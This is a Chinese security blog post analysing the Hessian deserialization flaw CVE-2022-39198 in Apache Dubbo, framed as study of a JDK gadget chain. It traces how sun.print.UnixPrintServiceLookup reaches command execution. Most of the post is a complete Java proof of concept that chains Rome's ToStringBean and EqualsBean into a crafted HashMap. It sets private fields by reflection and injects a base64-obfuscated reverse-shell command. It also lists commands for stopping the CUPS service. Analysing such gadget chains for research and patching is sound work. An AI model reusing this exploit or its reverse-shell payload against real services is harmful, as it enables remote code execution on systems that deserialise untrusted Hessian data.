hessian反序列_Print—gadget

0x01 dubbo CVE-2022-39198

2.7.x < version < 2.7.18

3.0.x < version < 3.0.12

3.1.x < version <= 3.1.0

我们看看github的diff

https://github.com/apache/dubbo-hessian-lite/commit/5727b36a3cdc428baeef7ee03b131905e39be8ad

主要的更改是在resources/DENY_CLASS文件中

这个文件中,是这个项目维护的一个黑名单

从这次的修复中,多新增了好几个黑名单包名

image-20240229001709293

org.apache.commons.codec.

org.aspectj.

org.dom4j

org.junit.

org.mockito.

org.thymeleaf.

ognl.

sun.print.

有很多,但是在其中只是存在有一个存在于JDK中的包名,即为sun.print.,这里仅是主要探讨有关于JDK中的利用链进行学习

如果曾经更进过hessian以前的其他链子,你会发现,大多数的链子都是通过使用HashMap / HashSet / HashTable等类来触发equals/hashcode / compareTo等等方法来进行接下来的调用

而其中,marshal项目中存在有多个通过调用XString#equals方法的方式

image-20240229001852359

进而调用到其他类的toString方法进行接下来 的调用

0x02 sun.print 分析

调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
run:897, UnixPrintServiceLookup$1 (sun.print)
doPrivileged:-1, AccessController (java.security)
execCmd:888, UnixPrintServiceLookup (sun.print)
getDefaultPrinterNameBSD:750, UnixPrintServiceLookup (sun.print)
getDefaultPrintService:663, UnixPrintServiceLookup (sun.print)
refreshServices:277, UnixPrintServiceLookup (sun.print)
getPrintServices:233, UnixPrintServiceLookup (sun.print)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
toString:158, ToStringBean (com.rometools.rome.feed.impl)
toString:129, ToStringBean (com.rometools.rome.feed.impl)
beanHashCode:198, EqualsBean (com.rometools.rome.feed.impl)
hashCode:180, EqualsBean (com.rometools.rome.feed.impl)
hash:338, HashMap (java.util)
put:611, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:577, SerializerFactory (com.caucho.hessian.io)
readObject:2093, Hessian2Input (com.caucho.hessian.io)
main:99, hessian_tostring (com.ser)
1
sun.print.UnixPrintServiceLookup

image-20240229002034259

有public 无参构造方法

image-20240229002244293

这个类中存在众多properties.这条连主要就是由PrintServices这个触发,PrintServices会掉哟过defPrintServices,所以一个样。

image-20240229002459732

image-20240229002512520

也就是说会触发多次。

sun.print.UnixPrintServiceLookup#getDefaultPrintService()

image-20240229002732411

要出发命令,需要走到getDefaultPrinterNameBSD()这个方法

image-20240229002900212

image-20240229002838686

image-20240229002950452

首先会判断CUPS server是否开启,然后判断是不是系统是不是mac或者sun。osname是属性,可以直接利用反射修改。

CUPS server可以使用关闭

1
2
3
4
5
sudo systemctl mask cups
reboot
## mac
sudo launchctl stop org.cups.cupsd
sudo launchctl disable system/org.cups.cupsd

sun.print.UnixPrintServiceLookup#getDefaultPrinterNameBSD()

image-20240229003213401

可以看到这里的判断。直接反射修改就好了

image-20240229003306236

需要注意lpcFirstCom是一个数组。

sun.print.UnixPrintServiceLookup#execCmd()

image-20240229003415540

调用后判断一下系统,然后赋值var2数组,最后exec。

总结需要一个触发getter的类,去触发getDefaultPrinter()。其中要满足cpus服务为false,其余都可以使用反射修改。可以想到rome,fastjson,jackson等去调用getter

0x03 poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
run:897, UnixPrintServiceLookup$1 (sun.print)
doPrivileged:-1, AccessController (java.security)
execCmd:888, UnixPrintServiceLookup (sun.print)
getDefaultPrinterNameBSD:750, UnixPrintServiceLookup (sun.print)
getDefaultPrintService:663, UnixPrintServiceLookup (sun.print)
refreshServices:277, UnixPrintServiceLookup (sun.print)
getPrintServices:233, UnixPrintServiceLookup (sun.print)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
toString:158, ToStringBean (com.rometools.rome.feed.impl)
toString:129, ToStringBean (com.rometools.rome.feed.impl)
beanHashCode:198, EqualsBean (com.rometools.rome.feed.impl)
hashCode:180, EqualsBean (com.rometools.rome.feed.impl)
hash:338, HashMap (java.util)
put:611, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:577, SerializerFactory (com.caucho.hessian.io)
readObject:2093, Hessian2Input (com.caucho.hessian.io)
main:99, hessian_tostring (com.ser)

以rome为列

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
package com.ser;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javafx.beans.property.Property;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import sun.misc.Unsafe;
import sun.print.CUPSPrinter;
import sun.print.UnixPrintServiceLookup;
import sun.swing.SwingLazyValue;

import javax.management.BadAttributeValueExpException;
import javax.swing.*;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.security.*;
import java.util.HashMap;
import java.util.PriorityQueue;

public class hessian_tostring {
static SerializerFactory serializerFactory = new SerializerFactory();
public static void main(String[] args) throws Exception {
serializerFactory.setAllowNonSerializable(true);


Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
Object lookup = unsafe.allocateInstance(UnixPrintServiceLookup.class);
// 因为是数组形式exec,所以使用;来截断,在执行后面。
String cmd = ";sh -c '{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS85OTk5IDA+JjE=}|{base64,-d}|{sh,-i}'";
// String cmd = "open .";
setFieldValue(lookup, "osname", "xx");
setFieldValue(lookup,"lpcFirstCom",new String[]{cmd,cmd,cmd});
setFieldValue(lookup, "cmdIndex", 0);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,new ToStringBean(lookup.getClass(),lookup));

// 防止序列化的时候执行
HashMap hashMap = maskmap(equalsBean, equalsBean);


Hessian2Output hessian2Output = new Hessian2Output(new FileOutputStream("./hessiantwo"));
hessian2Output.setSerializerFactory(serializerFactory);
hessian2Output.writeObject(hashMap);
hessian2Output.flushBuffer();

Hessian2Input hessian2Input = new Hessian2Input(new FileInputStream("./hessiantwo"));
hessian2Input.readObject();

// ByteArrayOutputStream baos = new ByteArrayOutputStream();
// ObjectOutputStream outputStream = new ObjectOutputStream(baos);
// outputStream.writeObject(hashMap);
// outputStream.close();
//
// ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
// ObjectInputStream Input = new ObjectInputStream(bais);
// Input.readObject();
// ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./hessian_tostring"));
// outputStream.writeObject(hashMap);
// outputStream.close();
//
// ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./hessian_tostring"));
// inputStream.readObject();
}


public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static HashMap maskmap(Object u1,Object u2) throws Exception{
HashMap hashMap = new HashMap();
Class node = Class.forName("java.util.HashMap$Node");
Constructor constructor = node.getDeclaredConstructor(int.class, Object.class, Object.class, node);
constructor.setAccessible(true);
Object node1 = constructor.newInstance(0, u1, null, null);
Object node2 = constructor.newInstance(0, u2, null, null);
Field key = node.getDeclaredField("key");
key.setAccessible(true);
key.set(node1, u1);
key.set(node2, u2);
Field size = HashMap.class.getDeclaredField("size");
size.setAccessible(true);
size.set(hashMap, 2);
Field table = HashMap.class.getDeclaredField("table");
table.setAccessible(true);
Object arr = Array.newInstance(node, 2);
Array.set(arr, 0, node1);
Array.set(arr, 1, node2);
table.set(hashMap, arr);

return hashMap;
}
}

链接

https://xz.aliyun.com/t/11961?time__1311=mqmx0DBG0Qi%3DAx0veeqBKuGUD97oDn767YD&alichlgref=https%3A%2F%2Fwww.google.com%2F

https://www.cnblogs.com/kingbridge/articles/17020853.html

https://pupil857.github.io/2022/12/08/NCTF2022-%E5%87%BA%E9%A2%98%E5%B0%8F%E8%AE%B0/


hessian反序列_Print—gadget
https://unam4.github.io/2024/02/28/hessian反序列-Print—gadget/
作者
unam4
发布于
2024年2月28日
许可协议